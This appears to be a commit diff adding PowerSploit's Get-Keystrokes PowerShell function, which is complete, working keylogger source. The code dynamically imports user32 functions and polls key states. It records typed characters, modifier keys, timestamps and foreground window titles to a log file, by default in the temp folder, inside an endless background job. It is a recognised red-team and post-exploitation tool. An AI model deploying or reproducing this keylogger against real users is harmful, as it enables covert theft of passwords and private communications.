1
+ function Get-Keystrokes {
2
+ <#
3
+ . SYNOPSIS
4
+
5
+ Logs keys pressed, time and the active window.
6
+
7
+ PowerSploit Function: Get-Keystrokes
8
+ Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
9
+ License: BSD 3-Clause
10
+ Required Dependencies: None
11
+ Optional Dependencies: None
12
+
13
+ . PARAMETER LogPath
14
+
15
+ Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
16
+
17
+ . PARAMETER CollectionInterval
18
+
19
+ Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
20
+
21
+ . EXAMPLE
22
+
23
+ Get-Keystrokes -LogPath C:\key.log
24
+
25
+ . EXAMPLE
26
+
27
+ Get-Keystrokes -CollectionInterval 20
28
+
29
+ . LINK
30
+
31
+ http://www.obscuresec.com/
32
+ http://www.exploit-monday.com/
33
+ #>
34
+ [CmdletBinding ()] Param (
35
+ [Parameter (Position = 0 )]
36
+ [ValidateScript ({Test-Path - Path (Split-Path - Parent $_ ) - PathType Container})]
37
+ [String ]
38
+ $LogPath = " $ ( $Env: TEMP ) \key.log" ,
39
+
40
+ [Parameter (Position = 1 )]
41
+ [UInt32 ]
42
+ $CollectionInterval
43
+ )
44
+
45
+ Write-Verbose " Logging keystrokes to $LogPath "
46
+
47
+ $Initilizer = {
48
+ $LogPath = ' REPLACEME'
49
+
50
+ ' "TypedKey","Time","WindowTitle"' | Out-File - FilePath $LogPath - Encoding unicode
51
+
52
+ function KeyLog {
53
+ [Reflection.Assembly ]::LoadWithPartialName(' System.Windows.Forms' ) | Out-Null
54
+
55
+ try
56
+ {
57
+ $ImportDll = [User32 ]
58
+ }
59
+ catch
60
+ {
61
+ $DynAssembly = New-Object System.Reflection.AssemblyName(' Win32Lib' )
62
+ $AssemblyBuilder = [AppDomain ]::CurrentDomain.DefineDynamicAssembly($DynAssembly , [Reflection.Emit.AssemblyBuilderAccess ]::Run)
63
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule (' Win32Lib' , $False )
64
+ $TypeBuilder = $ModuleBuilder.DefineType (' User32' , ' Public, Class' )
65
+
66
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute ].GetConstructor(@ ([String ]))
67
+ $FieldArray = [Reflection.FieldInfo []] @ (
68
+ [Runtime.InteropServices.DllImportAttribute ].GetField(' EntryPoint' ),
69
+ [Runtime.InteropServices.DllImportAttribute ].GetField(' ExactSpelling' ),
70
+ [Runtime.InteropServices.DllImportAttribute ].GetField(' SetLastError' ),
71
+ [Runtime.InteropServices.DllImportAttribute ].GetField(' PreserveSig' ),
72
+ [Runtime.InteropServices.DllImportAttribute ].GetField(' CallingConvention' ),
73
+ [Runtime.InteropServices.DllImportAttribute ].GetField(' CharSet' )
74
+ )
75
+
76
+ $PInvokeMethod = $TypeBuilder.DefineMethod (' GetAsyncKeyState' , ' Public, Static' , [Int16 ], [Type []] @ ([Windows.Forms.Keys ]))
77
+ $FieldValueArray = [Object []] @ (
78
+ ' GetAsyncKeyState' ,
79
+ $True ,
80
+ $False ,
81
+ $True ,
82
+ [Runtime.InteropServices.CallingConvention ]::Winapi,
83
+ [Runtime.InteropServices.CharSet ]::Auto
84
+ )
85
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor , @ (' user32.dll' ), $FieldArray , $FieldValueArray )
86
+ $PInvokeMethod.SetCustomAttribute ($CustomAttribute )
87
+
88
+ $PInvokeMethod = $TypeBuilder.DefineMethod (' GetKeyboardState' , ' Public, Static' , [Int32 ], [Type []] @ ([Byte []]))
89
+ $FieldValueArray = [Object []] @ (
90
+ ' GetKeyboardState' ,
91
+ $True ,
92
+ $False ,
93
+ $True ,
94
+ [Runtime.InteropServices.CallingConvention ]::Winapi,
95
+ [Runtime.InteropServices.CharSet ]::Auto
96
+ )
97
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor , @ (' user32.dll' ), $FieldArray , $FieldValueArray )
98
+ $PInvokeMethod.SetCustomAttribute ($CustomAttribute )
99
+
100
+ $PInvokeMethod = $TypeBuilder.DefineMethod (' MapVirtualKey' , ' Public, Static' , [Int32 ], [Type []] @ ([Int32 ], [Int32 ]))
101
+ $FieldValueArray = [Object []] @ (
102
+ ' MapVirtualKey' ,
103
+ $False ,
104
+ $False ,
105
+ $True ,
106
+ [Runtime.InteropServices.CallingConvention ]::Winapi,
107
+ [Runtime.InteropServices.CharSet ]::Auto
108
+ )
109
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor , @ (' user32.dll' ), $FieldArray , $FieldValueArray )
110
+ $PInvokeMethod.SetCustomAttribute ($CustomAttribute )
111
+
112
+ $PInvokeMethod = $TypeBuilder.DefineMethod (' ToUnicode' , ' Public, Static' , [Int32 ],
113
+ [Type []] @ ([UInt32 ], [UInt32 ], [Byte []], [Text.StringBuilder ], [Int32 ], [UInt32 ]))
114
+ $FieldValueArray = [Object []] @ (
115
+ ' ToUnicode' ,
116
+ $False ,
117
+ $False ,
118
+ $True ,
119
+ [Runtime.InteropServices.CallingConvention ]::Winapi,
120
+ [Runtime.InteropServices.CharSet ]::Auto
121
+ )
122
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor , @ (' user32.dll' ), $FieldArray , $FieldValueArray )
123
+ $PInvokeMethod.SetCustomAttribute ($CustomAttribute )
124
+
125
+ $PInvokeMethod = $TypeBuilder.DefineMethod (' GetForegroundWindow' , ' Public, Static' , [IntPtr ], [Type []] @ ())
126
+ $FieldValueArray = [Object []] @ (
127
+ ' GetForegroundWindow' ,
128
+ $True ,
129
+ $False ,
130
+ $True ,
131
+ [Runtime.InteropServices.CallingConvention ]::Winapi,
132
+ [Runtime.InteropServices.CharSet ]::Auto
133
+ )
134
+ $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor , @ (' user32.dll' ), $FieldArray , $FieldValueArray )
135
+ $PInvokeMethod.SetCustomAttribute ($CustomAttribute )
136
+
137
+ $ImportDll = $TypeBuilder.CreateType ()
138
+ }
139
+
140
+ Start-Sleep - Milliseconds 40
141
+
142
+ try
143
+ {
144
+
145
+ # loop through typeable characters to see which is pressed
146
+ for ($TypeableChar = 1 ; $TypeableChar -le 254 ; $TypeableChar ++ )
147
+ {
148
+ $VirtualKey = $TypeableChar
149
+ $KeyResult = $ImportDll ::GetAsyncKeyState($VirtualKey )
150
+
151
+ # if the key is pressed
152
+ if (($KeyResult -band 0x8000 ) -eq 0x8000 )
153
+ {
154
+
155
+ # check for keys not mapped by virtual keyboard
156
+ $LeftShift = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::LShiftKey) -band 0x8000 ) -eq 0x8000
157
+ $RightShift = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::RShiftKey) -band 0x8000 ) -eq 0x8000
158
+ $LeftCtrl = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::LControlKey) -band 0x8000 ) -eq 0x8000
159
+ $RightCtrl = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::RControlKey) -band 0x8000 ) -eq 0x8000
160
+ $LeftAlt = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::LMenu) -band 0x8000 ) -eq 0x8000
161
+ $RightAlt = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::RMenu) -band 0x8000 ) -eq 0x8000
162
+ $TabKey = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Tab) -band 0x8000 ) -eq 0x8000
163
+ $SpaceBar = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Space) -band 0x8000 ) -eq 0x8000
164
+ $DeleteKey = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Delete) -band 0x8000 ) -eq 0x8000
165
+ $EnterKey = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Return ) -band 0x8000 ) -eq 0x8000
166
+ $BackSpaceKey = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Back) -band 0x8000 ) -eq 0x8000
167
+ $LeftArrow = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Left) -band 0x8000 ) -eq 0x8000
168
+ $RightArrow = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Right) -band 0x8000 ) -eq 0x8000
169
+ $UpArrow = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Up) -band 0x8000 ) -eq 0x8000
170
+ $DownArrow = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::Down) -band 0x8000 ) -eq 0x8000
171
+ $LeftMouse = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::LButton) -band 0x8000 ) -eq 0x8000
172
+ $RightMouse = ($ImportDll ::GetAsyncKeyState([Windows.Forms.Keys ]::RButton) -band 0x8000 ) -eq 0x8000
173
+
174
+ if ($LeftShift -or $RightShift ) {$LogOutput += ' [Shift]' }
175
+ if ($LeftCtrl -or $RightCtrl ) {$LogOutput += ' [Ctrl]' }
176
+ if ($LeftAlt -or $RightAlt ) {$LogOutput += ' [Alt]' }
177
+ if ($TabKey ) {$LogOutput += ' [Tab]' }
178
+ if ($SpaceBar ) {$LogOutput += ' [SpaceBar]' }
179
+ if ($DeleteKey ) {$LogOutput += ' [Delete]' }
180
+ if ($EnterKey ) {$LogOutput += ' [Enter]' }
181
+ if ($BackSpaceKey ) {$LogOutput += ' [Backspace]' }
182
+ if ($LeftArrow ) {$LogOutput += ' [Left Arrow]' }
183
+ if ($RightArrow ) {$LogOutput += ' [Right Arrow]' }
184
+ if ($UpArrow ) {$LogOutput += ' [Up Arrow]' }
185
+ if ($DownArrow ) {$LogOutput += ' [Down Arrow]' }
186
+ if ($LeftMouse ) {$LogOutput += ' [Left Mouse]' }
187
+ if ($RightMouse ) {$LogOutput += ' [Right Mouse]' }
188
+
189
+ # check for capslock
190
+ if ([Console ]::CapsLock) {$LogOutput += ' [Caps Lock]' }
191
+
192
+ $MappedKey = $ImportDll ::MapVirtualKey($VirtualKey , 3 )
193
+ $KeyboardState = New-Object Byte[] 256
194
+ $CheckKeyboardState = $ImportDll ::GetKeyboardState($KeyboardState )
195
+
196
+ # create a stringbuilder object
197
+ $StringBuilder = New-Object - TypeName System.Text.StringBuilder;
198
+ $UnicodeKey = $ImportDll ::ToUnicode($VirtualKey , $MappedKey , $KeyboardState , $StringBuilder , $StringBuilder.Capacity , 0 )
199
+
200
+ # convert typed characters
201
+ if ($UnicodeKey -gt 0 ) {
202
+ $TypedCharacter = $StringBuilder.ToString ()
203
+ $LogOutput += (' [' + $TypedCharacter + ' ]' )
204
+ }
205
+
206
+ # get the title of the foreground window
207
+ $TopWindow = $ImportDll ::GetForegroundWindow()
208
+ $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
209
+
210
+ # get the current DTG
211
+ $TimeStamp = (Get-Date - Format dd/ MM/ yyyy:HH:mm:ss:ff)
212
+
213
+ # Create a custom object to store results
214
+ $ObjectProperties = @ {' Key Typed' = $LogOutput ;
215
+ ' Time' = $TimeStamp ;
216
+ ' Window Title' = $WindowTitle }
217
+ $ResultsObject = New-Object - TypeName PSObject - Property $ObjectProperties
218
+
219
+ # Stupid hack since Export-CSV doesn't have an append switch in PSv2
220
+ $CSVEntry = ($ResultsObject | ConvertTo-Csv - NoTypeInformation)[1 ]
221
+
222
+ # return results
223
+ Out-File - FilePath $LogPath - Append - InputObject $CSVEntry - Encoding unicode
224
+
225
+ }
226
+ }
227
+ }
228
+ catch {}
229
+ }
230
+ }
231
+
232
+ $Initilizer = [ScriptBlock ]::Create(($Initilizer -replace ' REPLACEME' , $LogPath ))
233
+
234
+ Start-Job - InitializationScript $Initilizer - ScriptBlock {for (;;) {Keylog}} - Name Keylogger | Out-Null
235
+
236
+ if ($PSBoundParameters [' CollectionInterval' ])
237
+ {
238
+ $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000 )
239
+
240
+ Register-ObjectEvent - InputObject $Timer - EventName Elapsed - SourceIdentifier ElapsedAction - Action {
241
+ Stop-Job - Name Keylogger
242
+ Unregister-Event - SourceIdentifier ElapsedAction
243
+ $Sender.Stop ()
244
+ } | Out-Null
245
+ }
246
+
247
+ }
0 commit comments